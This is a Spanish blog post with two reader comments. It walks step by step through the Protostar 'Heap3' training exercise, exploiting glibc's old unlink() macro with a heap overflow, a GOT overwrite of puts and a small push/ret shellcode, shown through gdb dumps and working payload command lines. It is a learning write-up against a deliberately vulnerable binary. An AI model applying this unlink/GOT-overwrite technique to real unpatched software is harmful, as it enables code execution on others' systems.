Resolución al ejercicio Heap03 de exploit-exercises.com

Hace ya algún tiempo vi por Twitter a @esanfelix que hacía referencia a una máquina virtual de ejercicios de exploiting y tomé nota de la dirección para cuando encontrara un hueco. Al final este verano encontré pequeños huecos para ir haciendo los ejercicios y os tengo que decir que la experiencia después de haber hecho los ejercicios de la versión protostar es altamente recomendable. Ahora mismo estoy empezando los ejercicios de la versión máquina virtual fusion y el objetivo es hacer todos los que el tiempo libre me permita ;-).

En esta primera entrada sobre esta temática, que espero que no sea la única, me gustaría contaros cómo resolver el ejercicio de título “Heap3” de la máquina virtual protostar, sobre todo intentando contar aquellas cosas que he tenido que investigar y aprender. El objetivo de este ejercicio es explotar una vulnerabilidad en el algoritmo de reserva de memoria dinámica implementado en la librería glibc (ptmalloc). Antes de empezar con los detalles comentar que he usado de guía para resolverlo la entrada del blog kroosec [3] y para entender las técnicas utilizadas ha sido vital el paper de Newlog_ [1] y el libro de blackngel [2]. De hecho decir que blackngel resuelve justo este ejercicio. Mi granito de arena en este caso es complementar su resolución con cosas que para un exploiter experimentado son obvias, pero que para alguien menos experimentado en este campo pueden venirle bien (o eso espero).

Tras situarnos vamos a empezar con la resolución paso a paso. Lo primero de todo es analizar el código que tendremos que explotar:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

void winner()
{
    	printf("that wasn't too bad now, was it? @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
    	char *a, *b, *c;

    	a = malloc(32);
    	b = malloc(32);
    	c = malloc(32);

    	strcpy(a, argv[1]);
    	strcpy(b, argv[2]);
    	strcpy(c, argv[3]);

    	free(c);
    	free(b);
    	free(a);

    	printf("dynamite failed?\n");
}

Como vemos es un programa sencillo donde se crean tres variables de 32 bytes y se copia dentro de ellas lo que le pasemos como argumento al programa. Entonces para resolver el ejercicio tenemos que ejecutar la función winner(), que como vemos no se llama desde la función main y al conseguir ejecutarla habremos cambiado el flujo del programa. Es necesario aclarar, que la librería glibc que utiliza el binario “/opt/protostar/bin/heap3” de la máquina virtual es antigua y por lo tanto tiene vulnerabilidades que en versiones recientes ya no existen.

Viendo que hay tres free() seguidos, que utiliza una versión antigua de la librería glibc y la pista que hay en el enunciado del ejercicio, uno ya va viendo que se trata de aprovechar la vulnerabilidad de la macro unlink() cuando se libere memoria con la función free(). Para entender la vulnerabilidad de la macro unlink() os aconsejo revisar el paper de Newlog desde la página 32 a la 39. Siento poneros un puntero a este paper y no hacerlo autocontenido, pero está muy bien explicado y en castellano, así que merece la pena que saltéis y hagáis un ret cuando acabéis. Importante es tener siempre en mente la estructura de datos de un fragmento de memoria reservado y libre (lo que llaman “chunk”).

Entendido el objetivo del ejercicio, vamos a ir viendo paso a paso la ejecución del programa y cómo aprovechar la vulnerabilidad. Lo primero que vamos a ver es lo que pasa cuando se ejecuta de manera normal el binario con tres argumentos:

La memoria presenta el aspecto del dibujo anterior, con los campos “prev_size” y “size” rellenos y los datos de usuario en el campo “user data”, y como vemos las tres reservas se sitúan contiguas en memoria.

Como es obvio, a la vista del dibujo anterior, si se produce un desbordamiento del campo “user data” del fragmento a o b, se sobrescribirán las secciones de control del siguiente bloque de memoria. Viendo esta ejecución sin overflow desde un debugger como GDB, veremos el estado de la memoria una vez se ha reservado con los diferentes malloc() y se han copiado los argumentos en los espacio de memoria reservada con las funciones strcpy(). Lo que vamos a examinar en memoria es dónde están las variables y para ello debemos saber la dirección de las variables a, b, c en la memoria. Para esto tenemos que mirar el registro EAX cuando finalice el malloc(), obteniendo estos punteros:

?	a is at 0x804c008
?	b is at 0x804c030
?	c is at 0x804c058

Veamos un ejemplo de cómo localizar el puntero de la variable c:

(gdb) ni
0x080488b9	18	in heap3/heap3.c
1: x/3i $pc
0x80488b9 <main+48>:	call   0x8048ff2 <malloc> <- lanzamos el malloc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
(gdb) ni
0x080488be	18	in heap3/heap3.c
1: x/3i $pc
0x80488be <main+53>:	mov    %eax,0x1c(%esp)
0x80488c2 <main+57>:	mov    0xc(%ebp),%eax
0x80488c5 <main+60>:	add    $0x4,%eax
(gdb) i r 
eax            0x804c058	134529112    <- Variable c
ecx            0xf88	3976
edx            0xf89	3977
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff770	0xbffff770
ebp            0xbffff798	0xbffff798
esi            0x0	0
edi            0x0	0
eip            0x80488be	0x80488be <main+53>
eflags         0x200286	[ PF SF IF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Ahora sí, vamos a examinar la memoria de una ejecución normal del programa y ver las variables:

# Colocamos el breakpoint en la línea 24 que es justo antes del primer free()
(gdb) break 24
(gdb) run AAAAAAAA BBBBBBBB CCCCCCCC
# Una vez se para examinamos la memoria
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

Lo que está en rojo son los datos de control y lo que está en azul son los datos de usuario. Después de ejecutarse los tres free(), la memoria tendrá el siguiente aspecto:

0x804c000:	0x00000000	0x00000029	0x0804c028	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x0804c050	0x42424242	0x00000000	0x00000000
0x804c040:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c050:	0x00000000	0x00000029	0x00000000	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000	0x00000000

En la memoria vemos como cuando se realiza el free(b) se coloca el puntero al siguiente bloque libre que es 0x0804c050, que se corresponde con el espacio de memoria liberado cuando se ha hecho el free(c). De igual forma, cuando se realiza free(a) se coloca el puntero al siguiente bloque libre, 0x0804c028, resultado de hacer free(b).

Ya hemos visto el comportamiento cuando se realiza una ejecución normal, ahora nos toca ver qué sucede cuando se introducen más de 32 bytes en el segundo argumento para sobrescribir los campos “prev_size” y “size” del fragmento de memoria de la variable c. Para esto haremos:

(gdb) run `python -c "print 'A'*8+' '+'B'*32+'E'*5+'E'*4+' '+'C'*8"`
(gdb) x/34x 0x804c000
0x804c000:	0x00000000	0x00000029	0x41414141	0x41414141
0x804c010:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c020:	0x00000000	0x00000000	0x00000000	0x00000029
0x804c030:	0x42424242 	0x42424242	0x42424242	0x42424242
0x804c040:	0x42424242	0x42424242	0x42424242	0x42424242
0x804c050:	0x45454545	0x45454545	0x43434343	0x43434343
0x804c060:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c070:	0x00000000	0x00000000	0x00000000	0x00000f89
0x804c080:	0x00000000 	0x00000000

Como vemos la memoria en la dirección 0x0804c050 muestra cómo hemos conseguido sobrescribir los campos “prev_size” y “size” del último fragmento, con el valor hexadecimal de la letra ‘E’.

Con el control sobre “prev_size” y “size” tenemos que ver qué valor introducimos para tomar el control. En blog kroosec [3] vemos cómo introducen un valor de -5 y un valor de -4. A continuación explicamos el porqué de estos valores. Aún así, si no queda del todo claro recomiendo leer el capítulo del heap del libro de blackngel [2], ya que allí lo explica muy bien.

Lo primero tal y como nos cuenta @newlog_ en su paper [1] es que una de las ventajas de utilizar valores negativos es que no introduciremos bytes nulos, con lo que nos evitamos los problemas derivados de los bytes nulos.

Después dado que controlamos el campo “size”, vamos a modificar su valor para que se ejecute la macro unlink() y escribir 4 bytes donde nosotros queramos, aprovechando con esto la vulnerabilidad de unlink(). Recordemos que para saber si se debe ejecutar la macro unlink() o no el algoritmo consulta el campo “size” del siguiente fragmento para ver si el último bit está puesto a 0. Por tanto si queremos activar la macro unlink() el último bit de size debe estar a cero.

Al fijar el valor de “prev_size” a -5 y el de “size” a -4 lo que hacemos es crear un cuarto fragmento falso y activar macro unlink(). Vamos a intentar explicar cómo estos dos valores negativos consiguen lo que acabamos de decir. Como indica la documentación, para ver dónde está el siguiente fragmento se utiliza el campo size como offset. Centrándonos en nuestro caso el fragmento [c] tiene en el campo size, después de sobrescribir su valor con el overflow, el valor -4. El campo size se usa como offset para saber dónde está el inicio del siguiente fragmento. En este caso cogerá el inicio del fragmento [c] y le restará 4, obteniendo que el inicio del fragmento ficticio [d] estará en el final del fragmento (b). Veamos gráficamente que implica un valor de -4 en el campo size:

Si nos fijamos en la imagen de arriba, tenemos un nuevo fragmento (d), donde el campo size de este fragmento coincide con el prev_size del fragmento [c] y el campo prev_size de d está contenido en el campo “user data” de b. Entonces el valor que activará la macro unlink() es el valor de prev_size del fragmento c, que será el size del fragmento ficticio que hemos bautizado como d.

Cuando el algoritmo compruebe el campo “size” del fragmento (d) se encontrará con el valor (-5) cuyo valor hexadecimal es: FF FF FF F8 y viendo su valor binario vemos que el último bit (PREV_INUSE) activa unlink() ya que vale 0:

1111 1111 1111 1111 1111 1111 1111 0100 = FF FF FF F8

Vamos a ejecutar el programa con los valores que acabamos de mencionar (-4 y -5) y veamos la memoria y los registros:

(gdb) run A `python -c "print 'B'*32 + '\xf8\xff\xff\xff' + 
   '\xfc\xff\xff\xff' + 'A'*8 + 'B'*4 + 'C'*4"` C

Una vez ejecutado este comando si vemos lo que tienen los registros nos encontraremos con:

(gdb) i r
eax            0x42424242	1111638594
ecx            0x0	0
edx            0x43434343	1128481603
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6e0	0xbffff6e0
ebp            0xbffff728	0xbffff728
esi            0x0	0
edi            0x0	0
eip            0x80498fd	0x80498fd <free+217>
eflags         0x210202	[ IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51

Y si observamos la instrucción que hay cargada en $eip , tenemos que:

0x80498fd <free+217>:	mov    %edx,0xc(%eax)

Esta instrucción mueve lo que hay en %edx a %eax+12. Y como vemos arriba son los elementos que controlamos al sobrescribir.

En este punto, ya sabemos cómo escribir 4 bytes donde nosotros queramos. Entonces, para ejecutar nuestro shellcode lo que vamos a hacer es sobrescribir una de las direcciones de alguna función que esté en la tabla GOT (Global Offset Table), con lo que cuando se ejecute esa función ejecutará la dirección que nosotros hemos puesto y por tanto nuestro shellcode.

Para empezar examinamos la tabla dinámica:

user@protostar:/opt/protostar/bin$ objdump -R ./heap3 

./heap3:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
0804b0e4 R_386_GLOB_DAT    __gmon_start__
0804b140 R_386_COPY        stderr
0804b0f4 R_386_JUMP_SLOT   __errno_location
0804b0f8 R_386_JUMP_SLOT   mmap
0804b0fc R_386_JUMP_SLOT   sysconf
0804b100 R_386_JUMP_SLOT   __gmon_start__
0804b104 R_386_JUMP_SLOT   mremap
0804b108 R_386_JUMP_SLOT   memset
0804b10c R_386_JUMP_SLOT   __libc_start_main
0804b110 R_386_JUMP_SLOT   sbrk
0804b114 R_386_JUMP_SLOT   memcpy
0804b118 R_386_JUMP_SLOT   strcpy
0804b11c R_386_JUMP_SLOT   printf
0804b120 R_386_JUMP_SLOT   fprintf
0804b124 R_386_JUMP_SLOT   time
0804b128 R_386_JUMP_SLOT   puts
0804b12c R_386_JUMP_SLOT   munmap

Entonces nuestro objetivo va a ser poner aquí la dirección de nuestro shellcode o de lo que queremos ejecutar. Entonces lo primero que pensamos para resolver el ejercicio es poner aquí la dirección de la función winner() que obtenemos así:

$ nm /opt/protostar/bin/heap3
08048864 T winner

La idea, como ya hemos adelantado, es ubicar en la dirección 0x0804b128-12 el valor 0x08048864 y así cuando vaya a ejecutar la función puts() ejecutará la función winner().

Obtenemos el valor:
>>> print hex(0x0804b128-12)
0x804b11c
>>> 

Probemos a ver con estos dos valores y a ver si conseguimos ejecutar la función winner():

(gdb) run A `python -c "print 'B'*32 + '\xfb\xff\xff\xff' + 
   '\xfc\xff\xff\xff'+ 'A'*5 + '\x1c\xb1\x04\x08' + '\x64\x88\x04\x08'"` C

Program received signal SIGSEGV, Segmentation fault.
0x08049906 in free (mem=0x804c058) at common/malloc.c:3638
3638	in common/malloc.c

(gdb) x/34x 0x804c058
0x804c058:	0x41410043	0x04b11c41	0x04886408	0x00000008
0x804c068:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c078:	0x00000000	0x00000f89	0x00000000	0x00000000
0x804c088:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c098:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0a8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0b8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0c8:	0x00000000	0x00000000	0x00000000	0x00000000
0x804c0d8:	0x00000000	0x00000000
(gdb) i r
eax            0x8048864	134514788
ecx            0x0	0
edx            0x804b11c	134525212
ebx            0xb7fd7ff4	-1208123404
esp            0xbffff6f0	0xbffff6f0
ebp            0xbffff738	0xbffff738
esi            0x0	0
edi            0x0	0
eip            0x8049906	0x8049906 <free+226>
eflags         0x210206	[ PF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
0x8049906 <free+226>:	mov    %edx,0x8(%eax)
(gdb) 

Viendo el resultado de la ejecución sigue no ejecutándose correctamente. Hemos hecho un pequeño progreso, pero aún no conseguimos ejecutar la función winner(), ¿por qué? Como vemos arriba falla cuando intentamos copiar en eax+8 el valor de edx, que si nos fijamos en lo que está haciendo es copiar el puntero a GOT[puts] -12 (0x804b11c) hacia el valor de winner+8 (0x08048864+8) provocando el segmentation fault, ya que winner+8, es una dirección de solo lectura de la sección .text y no se puede escribir sobre ella.

La razón de este comportamiento es algo que no habíamos tenido en cuenta y es la cuarta línea de la macro unlink():

#define unlink( P, BK, FD ) {        	\
	BK = P->bk;                      	\
	FD = P->fd;                      	\
	FD->bk = BK;                     	\
	BK->fd = FD;                     	\
} 

La solución a este problema pasa por copiar en GOT[puts]-12 una dirección que apunte al shellcode que almacenaremos en el primer fragmento y desde ahí saltaremos a winner(). Como no estaremos apuntando sobre winner directamente y será el heap con permiso de escritura no se producirá una violación de segmento en la cuarta escritura de la macro unlink().

A continuación vamos a construir un shellcode que salte a la dirección de la función winner. Para eso lo haremos con un push/ret:

$ cat pushret.asm
mov 0x08048864, eax
ret
$ objdump -d pushret.o
pushret.o: 	file format elf32-i386
Disassembly of section .text:
00000000 <.text>:
   0:   68 64 88 04 08      	push   $0x8048864
   5:   c3                  	ret

El shellcode será “68 64 88 04 08 c3”. Este shellcode tiene un tamaño de 6 bytes, por lo que no será sobrescrito por la cuarta escritura de la macro unlink() y por tanto no destrozará el shellcode. Si fuera más grande deberíamos tener en cuenta que la cuarta escritura de la macro unlink() nos lo puede sobrescribir. Después de estos pequeños ajustes quedaría así la ejecución:

$ /opt/protostar/bin/heap3 `python -c "print 'A'*4+'\x68\x64\x88\x04\x08\xc3'"` 
   `python -c "print 'A'*32+'\xf9\xff\xff\xff'+'\xfc\xff\xff\xff'+'AAAAAAA'+
      '\x1c\xb1\x04\x08'+'\x0c\xc0\x04\x08'"` C
that wasn't too bad now, was it? @ 1380116991

Como vemos hemos conseguido ejecutar la función winner(), tal y como era nuestro objetivo. Si algún exploiter experimentado encuentra alguna errata le agradeceré que me lo comunique para mejorar la entrada.

A continuación os pongo las referencias que para mí han sido imprescindibles para entender diferentes puntos del ejercicio. La referencia número tres me ha servido de guía para la resolución del ejercicio y la referencia 1 y 2, me han ayudado a entender muchos de los aspectos de cómo explotar la vulnerabilidad.

Referencias:

Comments

  1. Buenas José!

    Gracias por mencionar mis papers :)

    Actualmente yo también estoy enfrascado con estos retos, así que me he tenido que mirar tu post en diagonal. Sin embargo, con lo largo que es y los dumps de memoria que he visto, creo que va a ser muy completo! Cuando haga los retos, sacaré un rato para echarle una buena lectura ^^

    Tanto el libro como los papers de blackngel son geniales. De lo mejor que hay en la materia. Todo explicado de manera clara y concisa.

    Sobre mi paper y las ‘nuevas técnicas’ que introduce, después de que blacngel quisiera discutirlo conmigo, me parece que fui más optimista de lo que debiera. JFYI :)

    Un saludo y ánimos :)

  2. Hola newlog,

    Ahora mismo estoy con el fusion 02 y si el tiempo me lo permite iré escribiendo entradas con lo que vaya aprendiendo. Como se que estás enfrascado en el tema, me pasaré por vuestro foro y lanzaré mis dudas :P.

    Por otro lado, como bien comentas, el material de blackngel es muy bueno. Ahora mismo estoy con su libro y es .. para mi, brutal.

    Sobre las nuevas técnicas y el optimismo, sería interesante conocer los detalles de esa conversación, para seguir aprendiendo :-).

    Bueno, cuando tengas tiempo para leer el post con detenimiento ya me cuentas y sobretodo si detectas cualquier error, no dudes en avisarme para que la entrada quede lo mejor posible.

    Un saludo y gracias por el comentario.